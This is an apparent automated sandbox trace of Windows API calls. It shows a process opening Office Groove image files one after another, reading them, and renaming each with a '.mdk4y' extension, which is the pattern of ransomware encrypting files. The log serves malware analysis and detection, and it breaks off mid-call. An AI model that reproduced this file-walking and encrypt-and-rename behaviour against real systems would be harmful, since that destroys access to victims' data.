returned 1 [0215.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg.mdk4y")) returned 1 [0215.073] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.073] AreFileApisANSI () returned 1 [0215.073] GetACP () returned 0x4e4 [0215.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_FileOffMask.bmp", cchWideChar=26, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_FileOffMask.bmpp", lpUsedDefaultChar=0x37dda8) returned 26 [0215.073] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829030400000) returned 1 [0215.074] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c6e, lpOverlapped=0x0) returned 1 [0215.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829031600000) returned 1 [0215.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829031600000) returned 1 [0215.086] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp.mdk4y")) returned 1 [0215.088] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.088] AreFileApisANSI () returned 1 [0215.088] GetACP () returned 0x4e4 [0215.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_High.jpg", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_High.jpgask.bmp", lpUsedDefaultChar=0x37dda8) returned 19 [0215.088] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829031900000) returned 1 [0215.089] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13ca, lpOverlapped=0x0) returned 1 [0215.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829032600000) returned 1 [0215.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829032600000) returned 1 [0215.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg.mdk4y")) returned 1 [0215.097] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.097] AreFileApisANSI () returned 1 [0215.097] GetACP () returned 0x4e4 [0215.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_HighMask.bmp", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_HighMask.bmpbmp", lpUsedDefaultChar=0x37dda8) returned 23 [0215.097] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829032800000) returned 1 [0215.098] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c6e, lpOverlapped=0x0) returned 1 [0215.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829033700000) returned 1 [0215.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829033700000) returned 1 [0215.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp.mdk4y")) returned 1 [0215.108] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.108] AreFileApisANSI () returned 1 [0215.108] GetACP () returned 0x4e4 [0215.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_Medium.jpg", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_Medium.jpgmp", lpUsedDefaultChar=0x37dda8) returned 21 [0215.109] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829034000000) returned 1 [0215.110] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x41de, lpOverlapped=0x0) returned 1 [0215.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829035600000) returned 1 [0215.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829035600000) returned 1 [0215.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg.mdk4y")) returned 1 [0215.129] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.129] AreFileApisANSI () returned 1 [0215.129] GetACP () returned 0x4e4 [0215.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_MediumMAsk.bmp", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_MediumMAsk.bmpp", lpUsedDefaultChar=0x37dda8) returned 25 [0215.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036000000) returned 1 [0215.130] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c6e, lpOverlapped=0x0) returned 1 [0215.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036100000) returned 1 [0215.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036100000) returned 1 [0215.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp.mdk4y")) returned 1 [0215.132] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.132] AreFileApisANSI () returned 1 [0215.132] GetACP () returned 0x4e4 [0215.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_Off.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_Off.jpgAsk.bmp", lpUsedDefaultChar=0x37dda8) returned 18 [0215.132] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036300000) returned 1 [0215.133] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3e78, lpOverlapped=0x0) returned 1 [0215.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036400000) returned 1 [0215.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036400000) returned 1 [0215.134] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg.mdk4y")) returned 1 [0215.135] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.135] AreFileApisANSI () returned 1 [0215.135] GetACP () returned 0x4e4 [0215.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_OffMask.bmp", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_OffMask.bmpbmp", lpUsedDefaultChar=0x37dda8) returned 22 [0215.135] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036600000) returned 1 [0215.136] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c6e, lpOverlapped=0x0) returned 1 [0215.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036700000) returned 1 [0215.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036700000) returned 1 [0215.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp.mdk4y")) returned 1 [0215.138] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.138] AreFileApisANSI () returned 1 [0215.138] GetACP () returned 0x4e4 [0215.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsIncomingImage.jpg", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsIncomingImage.jpg", lpUsedDefaultChar=0x37dda8) returned 22 [0215.138] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829036900000) returned 1 [0215.139] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2256, lpOverlapped=0x0) returned 1 [0215.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829049700000) returned 1 [0215.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829049700000) returned 1 [0215.267] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg.mdk4y")) returned 1 [0215.269] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.269] AreFileApisANSI () returned 1 [0215.269] GetACP () returned 0x4e4 [0215.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsIncomingImageMask.bmp", cchWideChar=26, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsIncomingImageMask.bmp", lpUsedDefaultChar=0x37dda8) returned 26 [0215.269] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829050000000) returned 1 [0215.270] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x9d8, lpOverlapped=0x0) returned 1 [0215.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829050100000) returned 1 [0215.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829050100000) returned 1 [0215.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp.mdk4y")) returned 1 [0215.273] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.273] AreFileApisANSI () returned 1 [0215.273] GetACP () returned 0x4e4 [0215.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsIncomingImageMaskSmall.bmp", cchWideChar=31, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsIncomingImageMaskSmall.bmppRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 31 [0215.273] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829050400000) returned 1 [0215.274] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x630, lpOverlapped=0x0) returned 1 [0215.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829051400000) returned 1 [0215.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829051400000) returned 1 [0215.284] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp.mdk4y")) returned 1 [0215.285] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.285] AreFileApisANSI () returned 1 [0215.286] GetACP () returned 0x4e4 [0215.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsIncomingImageSmall.jpg", cchWideChar=27, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsIncomingImageSmall.jpg.bmp", lpUsedDefaultChar=0x37dda8) returned 27 [0215.286] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829051600000) returned 1 [0215.286] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1de3, lpOverlapped=0x0) returned 1 [0215.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829053900000) returned 1 [0215.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829053900000) returned 1 [0215.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg.mdk4y")) returned 1 [0215.330] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.330] AreFileApisANSI () returned 1 [0215.330] GetACP () returned 0x4e4 [0215.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsOutgoingImage.jpg", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsOutgoingImage.jpgl.jpg", lpUsedDefaultChar=0x37dda8) returned 22 [0215.330] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829056100000) returned 1 [0215.331] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x22c0, lpOverlapped=0x0) returned 1 [0215.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829057200000) returned 1 [0215.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829057200000) returned 1 [0215.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg.mdk4y")) returned 1 [0215.343] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.343] AreFileApisANSI () returned 1 [0215.343] GetACP () returned 0x4e4 [0215.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommsOutgoingImageMask.bmp", cchWideChar=26, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CommsOutgoingImageMask.bmpg", lpUsedDefaultChar=0x37dda8) returned 26 [0215.343] CreateFileA (lpFileName="C:\\Program 